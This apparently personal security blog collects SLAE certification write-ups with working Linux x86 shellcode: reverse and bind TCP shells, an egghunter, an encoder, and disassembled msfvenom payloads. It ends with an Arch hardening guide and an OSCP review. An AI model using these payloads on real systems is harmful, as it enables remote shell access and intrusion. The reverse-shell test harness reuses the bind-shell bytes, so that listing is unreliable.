January 9, 2020

SLAE - Assignment #5 - MSF payload analysis

   Fifth task in exam was to generate 3 payloads from Metasploit for target Linux/x86 system and dissect their functionalities using specific tools: GDB, Ndisasm or Libemu

I chose the following 3 payloads:

  • linux/x86/meterpreter/reverse_tcp
  • linux/x86/shell_find_tag
  • linux/x86/read_file

1. Reverse shell


I generated it using msfvenom -p linux/x86/meterpreter/reverse_tcp -a x86 LHOST=192.168.13.59 LPORT=2608 -o rev.

Then I used disasm to have a look at the assembly listing (cat rev | ndisasm -u -). Some parts of the code are relatively easy for understanding, some are a bit vague. I divided the shellcode on 6 parts for easier analysis based on system calls. Below is code with comments.

# socketcall to run SYS_SOCKET

00000000  6A0A               push byte +0xa
00000002  5E                   pop esi
00000003  31DB               xor ebx,ebx
00000005  F7E3                mul ebx
00000007  53                    push ebx
00000008  43                    inc ebx
00000009  53                    push ebx
0000000A  6A02                push byte +0x2
0000000C  B066                mov al,0x66                    # socketcall
0000000E  89E1                 mov ecx,esp
00000010  CD80                 int 0x80

# socketcall to run SYS_CONNECT

00000012  97                xchg eax,edi
00000013  5B                pop ebx
00000014  68C0A80D3B        push dword 0x3b0da8c0  # IP address in big endian
00000019  6802000A30        push dword 0x300a0002  # port in big endian
0000001E  89E1              mov ecx,esp
00000020  6A66              push byte +0x66
00000022  58                pop eax
00000023  50                push eax
00000024  51                push ecx
00000025  57                push edi
00000026  89E1            mov ecx,esp
00000028  43                inc ebx             # SYS_CONNECT (EBX holds value 0x03)
00000029  CD80           int 0x80

# connection checks and nanosleep

0000002B  85C0              test eax,eax
0000002D  7919              jns 0x48           # we go to mprotect
0000002F  4E                   dec esi
00000030  743D              jz 0x6f               # if zero go to exit
00000032  68A2000000        push dword 0xa2
00000037  58                  pop eax              # syscall code for nanosleep
00000038  6A00              push byte +0x0
0000003A  6A05              push byte +0x5   # 5 seconds sleep
0000003C  89E3              mov ebx,esp
0000003E  31C9              xor ecx,ecx
00000040  CD80              int 0x80

# mprotect to mark region of memory rwx

00000042  85C0              test eax,eax              # test for successful connection
00000044  79BD              jns 0x3                           #attempt to reconnect
00000046  EB27              jmp short 0x6f
00000048  B207              mov dl,0x7                     # marks memory rwx
0000004A  B900100000        mov ecx,0x1000      # length of memory region
0000004F  89E3                mov ebx,esp                # pointer to memory region
00000051  C1EB0C            shr ebx,byte 0xc 
00000054  C1E30C            shl ebx,byte 0xc     
00000057  B07D               mov al,0x7d                  #mprotect syscall
00000059  CD80               int 0x80

# read() from file descriptor into buffer 

0000005B  85C0              test eax,eax
0000005D  7810              js 0x6f
0000005F  5B                  pop ebx          # descriptor
00000060  89E1              mov ecx,esp 
00000062  99                  cdq
00000063  B26A              mov dl,0x6a
00000065  B003              mov al,0x3      # read syscall
00000067  CD80              int 0x80

# exit syscall

00000069  85C0                  test eax,eax
0000006B  7802                   js 0x6f
0000006D  FFE1                   jmp ecx
0000006F  B801000000        mov eax,0x1   # exit
00000074  BB01000000        mov ebx,0x1 
00000079  CD80                    int 0x80


2. Find port


Second one I chose find port shellcode. After generation I used ndisasm again.
Here is the code below with my comments:

# socketcall

00000000  31DB           xor ebx,ebx
00000002  53                push ebx
00000003  89E7            mov edi,esp
00000005  6A10            push byte +0x10
00000007  54                push esp
00000008  57                push edi
00000009  53                push ebx
0000000A  89E1           mov ecx,esp
0000000C  B307           mov bl,0x7

0000000E  FF01              inc dword [ecx]
00000010  6A66              push byte +0x66
00000012  58                  pop eax                    # eax 0x66 
00000013  CD80              int 0x80
00000015  66817F02810D      cmp word [edi+0x2],0xd81  #compare to port 33037
0000001B  75F1              jnz 0xe             #iterate through port number in ecx

# dup2() when found

0000001D  5B                pop ebx
0000001E  6A02            push byte +0x2
00000020  59                pop ecx
00000021  B03F            mov al,0x3f
00000023  CD80            int 0x80

# execve, spawn a shell

00000025  49                dec ecx
00000026  79F9            jns 0x21
00000028  50                push eax
00000029  682F2F7368        push dword 0x68732f2f      # hs//
0000002E  682F62696E        push dword 0x6e69622f     #nib/
00000033  89E3            mov ebx,esp
00000035  50                push eax
00000036  53                push ebx
00000037  89E1            mov ecx,esp
00000039  99                cdq
0000003A  B00B            mov al,0xb        # execve system call number
0000003C  CD80            int 0x80


3. Read file


I generated shellcode by using msfvenom -p linux/x86/read_file PATH=/home/vinegrep/token -a x86 -o read.
I used disasm again. My analysis below:

# Start with classical jmp-call to get address of the file path in ebx and open it.

00000000  EB36                  jmp short 0x38
00000002  B805000000      mov eax,0x5         # SYS_OPEN
00000007  5B                      pop ebx              
00000008  31C9                  xor ecx,ecx           # RO flag
0000000A  CD80                 int 0x80

# Read file in our buffer

0000000C  89C3                  mov ebx,eax          # descriptor
0000000E  B803000000      mov eax,0x3          # SYS_READ
00000013  89E7                  mov edi,esp
00000015  89F9                  mov ecx,edi
00000017  BA00100000      mov edx,0x1000    # size of buffer 
0000001C  CD80                  int 0x80

# Write content from buffer to descriptor of out payload

0000001E  89C2                    mov edx,eax         # size of ourread
00000020  B804000000        mov eax,0x4         # SYS_WRITE
00000025  BB01000000        mov ebx,0x1        # FD
0000002A  CD80                   int 0x80

#  Exit

0000002C  B801000000        mov eax,0x1
00000031  BB00000000        mov ebx,0x0
00000036  CD80                    int 0x80

# path to file

00000038  E8C5FFFFFF        call dword 0x2
0000003D  2F                       das                                    # /
0000003E  686F6D652F       push dword 0x2f656d6f    # home/
00000043  7669                   jna 0xae                            # vi
00000045  6E                       outsb                                 # n
00000046  65677265           gs jc 0xaf                           # egre
0000004A  702F                   jo 0x7b                              # p/
0000004C  746F                   jz 0xbd                              # to
0000004E  6B656E00          imul esp,[ebp+0x6e],byte +0x0     # ken and NULL byte

Disclaimer


This blog post has been created for completing the requirements of the SecurityTube Linux Assembly Expert certification:

https://www.pentesteracademy.com/course?id=3

Student ID: SLAE-764

All the code from this article can be found in my github repository - https://github.com/vinegrep/SLAE-exam

June 4, 2019

SLAE – Assignment #4 - Custom Encoder

This task was to follow our lab video and build an insertion encoding scheme for our shellcode which spawned /bin/sh.

1. Encoder


I decided to use python for encoding. I chose bitwise feedback rotation left function and XOR against known key. Hopefully code is clear for understanding:

#!/usr/bin/python

sc = ("\x31\xc0\x50\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80")

max_bits = 8

key_byte = 0x32

final = ""

rotate_left = lambda byte, value, max_bits: \
    (byte << value%max_bits) & (2**max_bits-1) | \
    ((byte & (2**max_bits-1)) >> (max_bits-(value%max_bits)))

for byte in bytearray(sc) :

rotl_byte = rotate_left(byte, 4, max_bits)
xor_byte = rotl_byte ^ key_byte

final += '0x'
final += '%02x,' % (xor_byte & 0xff)

print (final)

print 'Length: %d' % len(bytearray(sc))



I got an output:

0x21,0x3e,0x37,0xb4,0xd4,0xc0,0x05,0xb4,0xb4,0xc0,0xc0,0x14,0xa4,0xaa,0x0c,0x37,0xaa,0x1c,0x07,0xaa,0x2c,0x39,0x82,0xee,0x3a

2. Decoding


To decode I used jmp-call-pop combination to get address of the shellcode. Decoder assembly code below:

global _start

_start:
jmp short get_addr

prep_decode:
pop esi                 ; address now in esi
xor ecx, ecx
mov cl, len ; shellcode length was counter

decode:
         ; we decoded by using function backward

xor byte [esi], 0x32  ; xor with the key
ror byte [esi], 4        ; rotate right 4 positions (opposite operation to encoding) 
inc esi ; next byte
loop decode            ; until cl is zero

jmp short sc            ; jump to the original shellcode


get_addr:
call prep_decode
sc: db 0x21,0x3e,0x37,0xb4,0xd4,0xc0,0x05,0xb4,0xb4,0xc0,0xc0,0x14,0xa4,0xaa,0x0c,0x37,0xaa,0x1c,0x07,0xaa,0x2c,0x39,0x82,0xee,0x3a
len equ $-sc:

Proof picture:


3. Disclaimer


This blog post has been created for completing the requirements of the SecurityTube Linux Assembly Expert certification:


Student ID: SLAE-764

All the code from this article can be found in my github repository - https://github.com/vinegrep/SLAE-exam

May 27, 2019

SLAE – Assignment #3 – Egghunter

1. Introduction

Egghunter is a known technique that is used when we are limited in space. The original idea was introduced by skape in his paper - http://www.hick.org/code/skape/papers/egghunt-shellcode.pdf. Also Corelan has a good full write up about egg hunting under Windows platform. Updated version was released recently in his blog about Windows 10 - https://www.corelan.be/index.php/2019/04/23/windows-10-egghunter/

The idea is that we have our payload with egg somewhere in the memory and egghunter will scan memory and after reaching our egg will jump there.

2. Egghunter implementation

Based on my experience with OSCE as egghunting was one of the most important topics I found out that there are 2 possible issues:

1. Wrong jump if egghunter will detect his own egg.
2. Attempt to access unmapped memory which will lead to program termination (SIGSEGV).

Solution:

1. We prepend our shellcode with double tag.
2. From skape paper we can use access or sigaction system calls.

I will use access system call. This call will return EFAULT when access unmapped memory instead of termination. Egghunter algorithm:

1. we push address to validate
2. if EFAULT we increment until we reach valid address
3. After we reach valid address space, we iterate through it searching for double tag.
4. If succeeded, we jump to shellcode after tag.
5. If not we go to next page.

I found a system call using: 

cat /usr/include/i386-linux-gnu/asm/unistd_32.h | grep access
#define __NR_access 33

3. Egghunter code

global _start

section .text

_start:
       xor ebx, ebx
       xor ecx, ecx

next_page:
        or bx, 0xfff ;page alignment

hunt:
        inc ebx          ;next address
        lea edx, [ebx+0x04]  ;compare values in [ebx] and [ebx+4]
        xor eax, eax
        mov al, 0x21     ;syscall for access
        int 0x80

        cmp al, 0xf2   ;check return value for EFAULT
        je next_page   ;if yes, go to next page
mov edi, ebx   ;if not, ebx in edi for scasd

mov eax, 0x64697361 ;tag = disa
        scasd           ;check eax==[edi] then increment edi
        jnz hunt        ;continue search
        scasd           ;check for second tag
        jnz hunt
        jmp edi         ;jump to second stage shellcode

Then usual operations: extract shellcode and put in C file. I decided to use reverse shell payload for a test:

#include<stdio.h>
#include<string.h>
#define PORT "\x0a\x30"
#define ADDRESS "\xc0\xa8\x0d\xf3"
#define TAG "DISA"

char egghunter[] = "\x31\xdb\x31\xc9\x66\x81\xcb\xff\x0f\x43\x8d\x53\x04\x31\xc0\xb0\x21\xcd\x80\x3c\xf2\x74\xed\x89\xdf\xb8"
TAG
"\xaf\x75\xe8\xaf\x75\xe5\xff\xe7";

char shell[] = TAG TAG
"\x31\xc0\x31\xdb\x31\xd2\x50\x6a\x01\x6a\x02\x89\xe1\xb0\x66\xfe"
"\xc3\xcd\x80\x89\xc6\xb0\x66\xb3\x03\x52\x68"ADDRESS"\x66"
"\x68"PORT"\x31\xc9\xb1\x02\x66\x51\x89\xe1\x6a\x10\x51\x56\x89"
"\xe1\xcd\x80\x89\xf3\xb0\x3f\x31\xc9\xcd\x80\xb0\x3f\x41\xcd\x80"
"\xb0\x3f\x41\xcd\x80\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e"
"\x89\xe3\x89\xd1\xb0\x0b\xcd\x80";
 
main()
{
 
        printf("Shellcode Length:  %d\n", strlen(egghunter));
void (*fp) (void);
fp = (void *)egghunter;
fp();
}

Proof picture: 

4. Disclaimer

This blog post has been created for completing the requirements of the SecurityTube Linux Assembly Expert certification:


Student ID: SLAE-764

All the code from this article can be found in my github repository - https://github.com/vinegrep/SLAE-exam

May 23, 2019

SLAE – Assignment #2 – Reverse TCP Shell

1. Introduction


In this blog post I will go through second task of SLAE exam challenge - creating reverse shell with easy configurable IP address and port which will spawn a shell on connection back. My strategy was the same as with bind shell - build C code and then based on analysis recreate in assembly.

2. C code reverse shell


The difference with bind shell was that instead of bind() and listen() we used connect().

#include <stdio.h>
#include <unistd.h>
#include <netinet/in.h>

#define REMOTE_ADDR "192.168.13.243"
#define REMOTE_PORT 2608

int main() {
  int sock_des;        //socket descriptor
  struct sockaddr_in addr_ser;

  sock_des = socket(AF_INET, SOCK_STREAM, 0); //create a socket for IPv4, TCP, IP
  addr_ser.sin_family = AF_INET; // ipv4
  addr_ser.sin_port = htons(REMOTE_PORT); // port in little-endian
  addr_ser.sin_addr.s_addr = inet_addr(REMOTE_ADDR); // IP in network order

  connect(sock_des, (struct sockaddr *)&addr_ser, sizeof(addr_ser)); //connect to remote host
  dup2(sock_des, 0); // stdin
  dup2(sock_des, 1); // stdout
  dup2(sock_des, 2); // stderr

  execve("/bin/sh", NULL, NULL); //spawn a shell
  return 0;
}

Proof picture:


3. Find out the details


To enumerate system calls I ran compiled binary with strace and got list of functions:

socket(PF_INET, SOCK_STREAM, IPPROTO_IP) = 3
connect(3, {sa_family=AF_INET, sin_port=htons(2608), sin_addr=inet_addr("192.168.13.243")}, 16) = 0
dup2(3, 0)                              = 0
dup2(3, 1)                              = 1
dup2(3, 2)                              = 2
execve("/bin/sh", NULL, NULL)           = 0

Next step we need to find system call numbers. I used grep: 

grep "socketcall\|dup2\|execve" /usr/include/i386-linux-gnu/asm/unistd_32.h
#define __NR_execve 11
#define __NR_dup2 63
#define __NR_socketcall 102

All network calls are inside socketcall() function. It requires 102 (0x66) value in eax, subfunction call number in ebx, arguments in ecx. To get connect() subfunction call number I used grep again:

grep "sys_connect" /usr/include/linux/net.h 
#define SYS_CONNECT 3 /* sys_connect(2) */

4. Assembly code


global _start

section .text
_start:
;clear out registers, edx will be zero till the end of the code

       xor eax, eax
       xor ebx, ebx
       xor edx, edx

;create socket
;int socket(int domain, int type, int protocol)
;int socket(2, 1, 0)

 push eax
 push 0x01
 push 0x02
 mov ecx, esp      ; ecx points to the top of the stack where our arguments are located             
 mov al, 0x66
 inc bl                   ; 0x01
 int 0x80

 mov esi, eax     ; store socket descriptor to esi 

;connect to address
;int connect (int sockfd, const struct sockaddr *addr, socklen_t addrlen)
;int connect(esi, struct, 0x10)

;sockaddr_in structure:

 mov al, 0x66
 mov bl, 0x03                        ; 0x03
 push edx            ; terminate
 push long 0xf30da8c0  ;ip_addr
 push word 0x300a        ; port number
 xor ecx, ecx
 mov cl, 0x02 
 push word cx
 mov ecx,esp    ; mov structure pointer in ecx                                      
 push 0x10
 push ecx
 push esi                        
 mov ecx, esp  ; ecx points to arguments
 int 0x80

 mov ebx,esi ; get file descriptor for dup() call

;duplicate STD
;int dup2(int oldfd, int newfd)
;int dup2(ebx, 0)
  
         mov al,0x3f            ;63 in decimal
         xor ecx,ecx            ;0x00
         int 0x80

;int dup2(ebx, 1)

         mov al,0x3f
         inc ecx                   ;0x01
         int 0x80
     
;int dup2(ebx, 2)
    
         mov al,0x3f
         inc ecx                   ;0x02
         int 0x80

;spawn shell
;int execve(const char *filename, char *const argv[], char *const envp[]);
;int execve(string addr, zero, NULL)

  push edx                 ;string NULL-terminator
  push 0x68732f2f     ; hs//
  push 0x6e69622f    ; nib/
  mov ebx, esp          ; pointer to command string
  mov ecx, edx          ; ecx 0x00
  mov al, 0xb
  int 0x80

Compile assembly:

nasm -f elf32 -o asm_reverse.o asm_reverse.nasm
ld -o asm_reverse asm_reverse.o

Check for any NULL bytes and extract shellcode with command line magic from the course:

objdump -d -M intel asm_reverse| grep 00
objdump -d ./asm|grep '[0-9a-f]:'|grep -v 'file'|cut -f2 -d:|cut -f1-6 -d' '|tr -s ' '|tr '\t' ' '|sed 's/ $//g'|sed 's/ /\\x/g'|paste -d '' -s |sed 's/^/"/'|sed 's/$/"/g'
"\x31\xc0\x31\xdb\x31\xd2\x50\x6a\x01\x6a\x02\x89\xe1\xb0\x66\xfe\xc3\xcd\x80\x89\xc6\xb0\x66\xb3\x03\x52\x68\xc0\xa8\x0d\xf3\x66\x68\x0a\x30\x31\xc9\xb1\x02\x66\x51\x89\xe1\x6a\x10\x51\x56\x89\xe1\xcd\x80\x89\xf3\xb0\x3f\x31\xc9\xcd\x80\xb0\x3f\x41\xcd\x80\xb0\x3f\x41\xcd\x80\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x89\xd1\xb0\x0b\xcd\x80"

Then copy/paste in C code:

#include<stdio.h>
#include<string.h>
#define PORT "\xdd\xdd"

char shell[] =
"\x31\xc0\x31\xdb\x31\xd2\x50\x6a\x01\x6a\x02\x89\xe1\xb0\x66\xfe\xc3\xcd\x80\x89\xc6\xb0\x66\xfe\xc3\x52\x66\x68"PORT"\x66\x6a\x02\x89\xe1\x6a\x10\x51\x56\x89\xe1\xcd\x80\xb0\x66\xb3\x04\x52\x56\x89\xe1\xcd\x80\xb0\x66\xfe\xc3\x52\x52\x56\x89\xe1\xcd\x80\x89\xc3\xb0\x3f\x31\xc9\xcd\x80\xb0\x3f\x41\xcd\x80\xb0\x3f\x41\xcd\x80\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x89\xd1\xb0\x0b\xcd\x80";

main()
{

 printf("Shellcode Length:  %d\n", strlen(shell));
void (*fp) (void);
fp = (void *)shell;
fp();
}

Compile the code with gcc -o shell shellcode.c -fno-stack-protector -z execstack and got a reverse shell:


5. Disclaimer


This blog post has been created for completing the requirements of the SecurityTube Linux Assembly Expert certification:


Student ID: SLAE-764

All the code from this article can be found in my github repository - https://github.com/vinegrep/SLAE-exam

May 22, 2019

SLAE – Assignment #1 – Bind TCP Shell

1. Introduction

In this blog post I will go through first task of SLAE exam challenge - creating bind shell with easy configurable port which will spawn a shell on connection. My strategy was pretty common - build C code and then based on analysis recreate in assembly.

2. C code bind shell

Network programming in Linux is quite straightforward until you try to build something really special. I tried to put as much comments as possible so it would be easy to follow the code.

#include <stdio.h>
#include <unistd.h>
#include <netinet/in.h>

int main() {
  int sock_des, client_des, port_num;
  struct sockaddr_in addr_ser;
  port_num = 2608;

  sock_des = socket(AF_INET, SOCK_STREAM, 0); //create a socket for IPv4, TCP, IP

  addr_ser.sin_family = AF_INET; // ipv4
  addr_ser.sin_port = htons(port_num); // port in network endian
  addr_ser.sin_addr.s_addr = INADDR_ANY; // (0.0.0.0)

  bind(sock_des, (struct sockaddr*)&addr_ser, sizeof(addr_ser)); //bind to address and port
  listen(sock_des, 0); //listen to connection

  client_des = accept(sock_des, NULL, NULL); //accept incoming connection

  dup2(client_des, 0); // stdin
  dup2(client_des, 1); // stdout
  dup2(client_des, 2); // stderr

  execve("/bin/sh", NULL, NULL); //spawn a shell
  return 0;
}

Proof picture:

3. Find out the details

To make my life easier I executed bind shell binary with strace and got list of functions:

socket(PF_INET, SOCK_STREAM, IPPROTO_IP) = 3
bind(3, {sa_family=AF_INET, sin_port=htons(56797), sin_addr=inet_addr("0.0.0.0")}, 16) = 0
listen(3, 0)                            = 0
accept(3, NULL, NULL)                   = 4
dup2(4, 0)                              = 0
dup2(4, 1)                              = 1
dup2(4, 2)                              = 2
execve("/bin/sh", NULL, NULL)           = 0

Next step we need to find system call numbers. I used grep: 

grep "socketcall\|dup2\|execve" /usr/include/i386-linux-gnu/asm/unistd_32.h
#define __NR_execve 11
#define __NR_dup2 63
#define __NR_socketcall 102

All network calls are inside socketcall() function. It requires 102 (0x66) value in eax, subfunction call number in ebx, arguments in ecx. To get subfunction call numbers I used grep once again:

grep "sys_socket(\|sys_bind(\|sys_listen(\|sys_accept(" /usr/include/linux/net.h 
#define SYS_SOCKET 1 /* sys_socket(2) */
#define SYS_BIND 2 /* sys_bind(2) */
#define SYS_LISTEN 4 /* sys_listen(2) */
#define SYS_ACCEPT 5 /* sys_accept(2) */

4. Assembly code

global _start

section .text
_start:
;clear out registers, edx will be zero till the end of the code

       xor eax, eax
       xor ebx, ebx
       xor edx, edx

;create socket
;int socket(int domain, int type, int protocol)
;int socket(2, 1, 0)

push eax
push 0x01
push 0x02
mov ecx, esp      ; ecx points to the top of the stack where our arguments are located             
mov al, 0x66
        inc bl                   ; 0x01
int 0x80

mov esi, eax     ; store socket descriptor to esi 

;bind to address
;int bind (int sockfd, const struct sockaddr *addr, socklen_t addrlen)
;int bind(esi, struct, 0x10)

;sockaddr_in structure:

mov al, 0x66
        inc bl                        ; 0x02
push edx           ; address to bind
push word 0xdddd          ; port number
push word 0x02        ; push AF_INET
mov ecx,esp   ; mov structure pointer in ecx
                        
                    
push 0x10
push ecx
push esi                        
mov ecx, esp ; ecx points to arguments
int 0x80

;listen
;int listen(int sockfd, int backlog)
;int listen(esi,0)

mov al, 0x66
        mov bl, 0x04
push edx                 ;0x00
push esi
mov ecx, esp
int 0x80

;accept
;int accept(int sockfd, struct sockaddr *addr, socklen_t *addrlen, int flags);
;int accept(esi,0,0)

mov al, 0x66
        inc bl                      ;0x05
push edx
push edx                    
push esi
mov ecx, esp
int 0x80

mov ebx,eax ; get new file descriptor for dup() call

;duplicate STD
;int dup2(int oldfd, int newfd)
;int dup2(ebx, 0)
  
         mov al,0x3f            ;63 in decimal
         xor ecx,ecx            ;0x00
         int 0x80

;int dup2(ebx, 1)

         mov al,0x3f
         inc ecx                   ;0x01
         int 0x80
     
;int dup2(ebx, 2)
    
         mov al,0x3f
         inc ecx                   ;0x02
         int 0x80

;spawn shell
;int execve(const char *filename, char *const argv[], char *const envp[]);
;int execve(string addr, zero, NULL)

 push edx                 ;string NULL-terminator
 push 0x68732f2f     ; hs//
 push 0x6e69622f    ; nib/
 mov ebx, esp          ; pointer to command string
 mov ecx, edx          ; ecx 0x00
 mov al, 0xb
 int 0x80

Compile assembly:

nasm -f elf32 -o asm_bind.o asm_bind.nasm
ld -o asm_bind asm_bind.o

Check for any NULL bytes and extract shellcode with command line magic from the course:

objdump -d -M intel asm| grep 00
objdump -d ./asm|grep '[0-9a-f]:'|grep -v 'file'|cut -f2 -d:|cut -f1-6 -d' '|tr -s ' '|tr '\t' ' '|sed 's/ $//g'|sed 's/ /\\x/g'|paste -d '' -s |sed 's/^/"/'|sed 's/$/"/g'
"\x31\xc0\x31\xdb\x31\xd2\x50\x6a\x01\x6a\x02\x89\xe1\xb0\x66\xfe\xc3\xcd\x80\x89\xc6\xb0\x66\xfe\xc3\x52\x66\x68\xdd\xdd\x66\x6a\x02\x89\xe1\x6a\x10\x51\x56\x89\xe1\xcd\x80\xb0\x66\xb3\x04\x52\x56\x89\xe1\xcd\x80\xb0\x66\xfe\xc3\x52\x52\x56\x89\xe1\xcd\x80\x89\xc3\xb0\x3f\x31\xc9\xcd\x80\xb0\x3f\x41\xcd\x80\xb0\x3f\x41\xcd\x80\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x89\xd1\xb0\x0b\xcd\x80"

Then copy/paste in C code:

#include<stdio.h>
#include<string.h>
#define PORT "\xdd\xdd"

char shell[] =
"\x31\xc0\x31\xdb\x31\xd2\x50\x6a\x01\x6a\x02\x89\xe1\xb0\x66\xfe\xc3\xcd\x80\x89\xc6\xb0\x66\xfe\xc3\x52\x66\x68"PORT"\x66\x6a\x02\x89\xe1\x6a\x10\x51\x56\x89\xe1\xcd\x80\xb0\x66\xb3\x04\x52\x56\x89\xe1\xcd\x80\xb0\x66\xfe\xc3\x52\x52\x56\x89\xe1\xcd\x80\x89\xc3\xb0\x3f\x31\xc9\xcd\x80\xb0\x3f\x41\xcd\x80\xb0\x3f\x41\xcd\x80\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x89\xd1\xb0\x0b\xcd\x80";

main()
{

        printf("Shellcode Length:  %d\n", strlen(shell));
void (*fp) (void);
fp = (void *)shell;
fp();
}

Compile the code with gcc -o shell shellcode.c -fno-stack-protector -z execstack and got a bind shell:


5. Disclaimer


This blog post has been created for completing the requirements of the SecurityTube Linux Assembly Expert certification:


Student ID: SLAE-764

All the code from this article can be found in my github repository - https://github.com/vinegrep/SLAE-exam

April 15, 2018

Install Arch Linux with encryption, secure boot and manual tweaking

   Today I will share my guide that I used for Arch installation. Obviously, there are a lot of resources, where you can find installation instructions, but here I would like to share my tips. Obviously, all related links will be included in this post. 
   
Our goal: 
  • UEFI Arch installation on encrypted volume + /boot also should be encrypted
  • enable and use secure boot with own keys on laptop
  • do post installation hardening
  • installation steps for Gnome without unneeded software

 

Installation


   All installation instructions can be found in official Arch Linux wiki (https://wiki.archlinux.org/index.php/installation_guide). The only thing is that you need to go through each wiki article to compile your own installation guide. I used this guide as a starting point (https://grez911.github.io/cryptoarch.html). I don't see any value in copy-pasting someone's guide here fully. The only difference I had is that I don't have partition for swap, as my laptop has 16 GB of RAM. Also I installed /boot on ext3 filesystem. 
  Another guide to consider is https://headcrash.industries/reference/fully-encrypted-archlinux-with-secure-boot-on-yoga-920/. There you can find specifics about btrfs and Yoga 920 installation.

Secure Boot 

 

   You can start reading about secure boot from wiki - https://wiki.archlinux.org/index.php/Secure_Boot. If you really want to understand what is going on in system I highly recommend go through this article https://bentley.link/secureboot/ and manually create everything. However, for automation you can use tool from github (https://github.com/xmikos/cryptboot) which is described in "Secure Boot" section from second installation guide on Yoga. After finish you can check whether secure boot is active by using this command: od -An -t u1 /sys/firmware/efi/efivars/SecureBoot-XXXXXXXX-XXXX-XXXX-XXXX-XXXXXXXXXXXX. To get right value of XX, just use tab completion. Last digit should be 1.

Post installation hardening

 

  After installation finished I went through hardening. I will advise to go through wiki page - https://wiki.archlinux.org/index.php/Security. When I read about kernel hardening, I decided to install linux-hardened package, using this guide - https://thacoon.gitlab.io/articles/2017-07/arch-linux-hardened-kernel.html. It broke system for me as there were no kernel module for fat to proceed with boot. I found that I was not alone with my problems - https://flameeyes.blog/2011/09/12/hardened-and-efi-aren-t-buddies/. As for now I just wait for new releases. After all hardening I used tool called Lynis for audit (https://cisofy.com/lynis/). I found this sufficient enough to have a better level of security.


Post installation tips

 

   Well, now you can install anything you want in your new system. Pretty good list can be found in official wiki - https://wiki.archlinux.org/index.php/list_of_applications For decent terminal fonts I used this package - https://www.archlinux.org/packages/community/any/awesome-terminal-fonts/.
   As a desktop environment I prefer gnome, but I don't like loads of software which will be installed together with gnome. I found this conversation in reddit helpful, especially comment about what name stands for what software - https://www.reddit.com/r/archlinux/comments/3q98sf/gnome_without_the_bloat_what_is_neccesary/cwd8rj8/?st=jg194hew&sh=c96834de
 

January 21, 2018

OSCP course and exam overview

   There is a good proverb saying: "Later is better than never". Loads of people asking me about my OSCP experience and thoughts, so I decided to share it here. There are plenty of reviews with book/lab/exam details, so I would not copy/paste it. This review will be more about my experience and thoughts. I passed exam in October 2015 using first attempt. I know that exam and course change a lot since that time, but still I hope someone will find my review valuable.


Introduction

   To tell the truth certifications in infosec suck. It is very hard to follow rapid growth in industry and address modern concepts in courses. Before Offensive Security there were no hands-on certification. I find myself this situation quite strange, as vendors check you hands-on skills with bunch of questions. Even if we put aside endless dumps available in Internet, I think practice skills can be evaluated only by practice.


Lab environment

   I decided to take OSCP to challenge and improve my skills and out-of-the-box thinking. This is a self-study entry-level course from OffSec. They don't test your knowledge level when you sign-up for the course. Study will require loads of time and effort from student. I decided to buy my lab for 3 months and owned every machine out there.
   So I started with a book, I solved exercises and put them in my future lab report appendix. Frankly this book is just a good intro in what you will need while owning machines in lab. All basic techniques can be found there. OffSec is not a course, where they will guide you through all machines, it is up to you. They just provide you with some vectors to consider.
   While fighting with lab I struggled a lot. The most frustrating thing for me was that I knew that machine is vulnerable, but can't find where. In real pentest you never know beforehand that you target is actually vulnerable. I was stuck so many times. There was an IRC chat where you can discuss your problems with OffSec stuff. In my time the most common answer was: "Enumerate more". Now I am very thankful for this, as only persistence and suffering will help you to find out the truth. Since that time I know that there is no such a thing as "I tried to hack it for a long time". Patience is really important in our job. Pentest is not a bunch of tricks to try against target, it is more like a proper mindset and joy of solving puzzles.
   During lab time I did not do post-enumeration after rooting the box and it caused me pain when I was sitting in lab with only client-side boxes. I wasted 2 days just to go through all owned boxes to find necessary information to progress further. In lab you can find some neat stuff to play with such as Oracle, small domain environment, various OS versions. You will master privilege escalation, pivoting, trivial AV bypass, client-side exploitation. I improve my Metasploit skills, diving into how it is actually working. Admin network was a pleasure to play with. At the end I spent around 3 days to create full lab report with evidence and planned my exam.

Exam

   As I can't reveal details of exam and loads of things were written in other reviews I will just summarize my wins and fails. So I started exam with buffer overflow machine and got 25 points pretty quickly. Then I got 2 limited shells on other 2 machines. And then I stuck, really stuck. I was sitting from 14-00 till 01-00 with no luck. I felt myself miserable and went for a quick nap with heavy heart. However, at 7-00 I got up and in 2 hours I rooted Linux box for 20 points. I ignored 10 point box as I found worthless to spend time on such a low target. Then in next 2 hours I got rest of 2 machines, finishing 15 minutes before deadline. I started to dance and forgot to submit proof.txt in online system. Luckily I had all screenshots to prove rooting.
   After 2 days I received passing confirmation.

Closing thoughts and critics

   I personally found OSCP as a great entry level challenge. I vote for hands-on testing instead of paper-based exams in all forms. I heard opinions that playing with OSCP lab is not the same as a performing assessment, so it is not relevant for getting pentest job. I will agree with this only in a small thing: here you don't report all these informational bugs/missing best practices. Also you don't care much about environment stability, as you can always revert the machine. But everything else in lab and exam is quite close to real life, also course encourages you to research and study more, improves your personal qualities which will help in developing pentester career.
   When I do hiring, I personally consider OSCP as an advantage. Obviously, getting OSCP will not promote you to senior tester in a moment, but it would be a good base to start building technical career in sphere of legal hacking.